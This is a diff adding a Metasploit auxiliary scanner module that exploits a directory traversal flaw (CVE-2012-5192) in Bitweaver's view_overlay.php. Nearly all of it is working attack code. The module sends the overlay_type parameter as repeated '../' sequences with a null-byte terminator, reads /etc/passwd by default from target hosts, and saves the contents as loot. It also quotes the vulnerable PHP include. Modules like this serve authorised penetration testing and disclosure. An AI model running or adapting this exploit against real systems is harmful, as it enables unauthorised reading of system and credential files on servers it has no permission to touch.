|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Auxiliary |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + include Msf::Auxiliary::Report |
| 14 | + include Msf::Auxiliary::Scanner |
| 15 | + |
| 16 | + def initialize(info = {}) |
| 17 | + super(update_info(info, |
| 18 | + 'Name' => 'Bitweaver overlay_type Directory Traversal', |
| 19 | + 'Description' => %q{ |
| 20 | + This module exploits a directory traversal vulnerability found in Bitweaver. |
| 21 | + When hanlding the 'overlay_type' parameter, view_overlay.php fails to do any |
| 22 | + path checking/filtering, which can be abused to read any file outside the |
| 23 | + virtual directory. |
| 24 | + }, |
| 25 | + 'References' => |
| 26 | + [ |
| 27 | + ['CVE', '2012-5192'], |
| 28 | + ['OSVDB', '86599'], |
| 29 | + ['EDB', '22216'], |
| 30 | + ['URL', 'https://www.trustwave.com/spiderlabs/advisories/TWSL2012-016.txt'] |
| 31 | + ], |
| 32 | + 'Author' => |
| 33 | + [ |
| 34 | + 'David Aaron', # Trustwave SpiderLabs |
| 35 | + 'Jonathan Claudius', # Trustwave SpiderLabs |
| 36 | + 'sinn3r' # Metasploit |
| 37 | + ], |
| 38 | + 'License' => MSF_LICENSE, |
| 39 | + 'DisclosureDate' => "Oct 23 2012" |
| 40 | + )) |
| 41 | + |
| 42 | + register_options( |
| 43 | + [ |
| 44 | + OptString.new('TARGETURI', [true, 'The URI path to the web application', '/bitweaver/']), |
| 45 | + OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']), |
| 46 | + OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10]) |
| 47 | + ], self.class) |
| 48 | + end |
| 49 | + |
| 50 | + |
| 51 | + def run_host(ip) |
| 52 | + base = target_uri.path |
| 53 | + base << '/' if base[-1,1] != '/' |
| 54 | + |
| 55 | + peer = "#{ip}:#{rport}" |
| 56 | + fname = datastore['FILE'] |
| 57 | + fname = fname[1, fname.length] if fname =~ /^\// |
| 58 | + |
| 59 | + print_status("#{peer} - Reading '#{datastore['FILE']}'") |
| 60 | + traverse = "../" * datastore['DEPTH'] |
| 61 | + res = send_request_cgi({ |
| 62 | + 'method' => 'GET', |
| 63 | + 'encode_params' => false, |
| 64 | + 'uri' => "#{base}gmap/view_overlay.php", |
| 65 | + 'vars_get' => { |
| 66 | + 'overlay_type' => "#{traverse}#{fname}%00" |
| 67 | + } |
| 68 | + }) |
| 69 | + |
| 70 | + if res and res.code == 200 and res.body =~ /failed to open stream\: No such file/ |
| 71 | + print_error("#{peer} - Cannot read '#{fname}'. File does not exist.") |
| 72 | + |
| 73 | + elsif res and res.code == 200 and res.body =~ /failed to open stream\: Permission denied/ |
| 74 | + print_error("#{peer} - Cannot read '#{fname}'. Permission denied.") |
| 75 | + |
| 76 | + elsif res and res.code == 200 and res.body =~ /Failed opening required/ |
| 77 | + print_error("#{peer} - Cannot read '#{fname}'. Possibly not vulnerable.") |
| 78 | + |
| 79 | + elsif res and res.code == 200 |
| 80 | + data = res.body |
| 81 | + data = (data.scan(/(.+)\n(<br \/>)*\n*.+Notice.+/m).flatten[0] || '').gsub(/\n<br \/>$/, '') |
| 82 | + |
| 83 | + p = store_loot( |
| 84 | + 'bitweaver.overlay_type', |
| 85 | + 'application/octet-stream', |
| 86 | + ip, |
| 87 | + data, |
| 88 | + fname |
| 89 | + ) |
| 90 | + |
| 91 | + vprint_line(data) |
| 92 | + print_good("#{peer} - #{datastore['FILE']} stored as '#{p}'") |
| 93 | + |
| 94 | + else |
| 95 | + print_error("#{peer} - Request failed due to some unknown reason") |
| 96 | + end |
| 97 | + end |
| 98 | + |
| 99 | +end |
| 100 | + |
| 101 | +=begin |
| 102 | +if( !empty( $_REQUEST['overlay_type'] ) ){ |
| 103 | + $type = $_REQUEST['overlay_type']; |
| 104 | +} |
| 105 | +
|
| 106 | +// Now check permissions to access this page |
| 107 | +$gBitSystem->verifyPermission('p_gmap_overlay_view' ); |
| 108 | +
|
| 109 | +// Get the overlay for specified overylay_id |
| 110 | +require_once(GMAP_PKG_PATH.'lookup_'.$type.'_inc.php' ); |
| 111 | +=end |
0 commit comments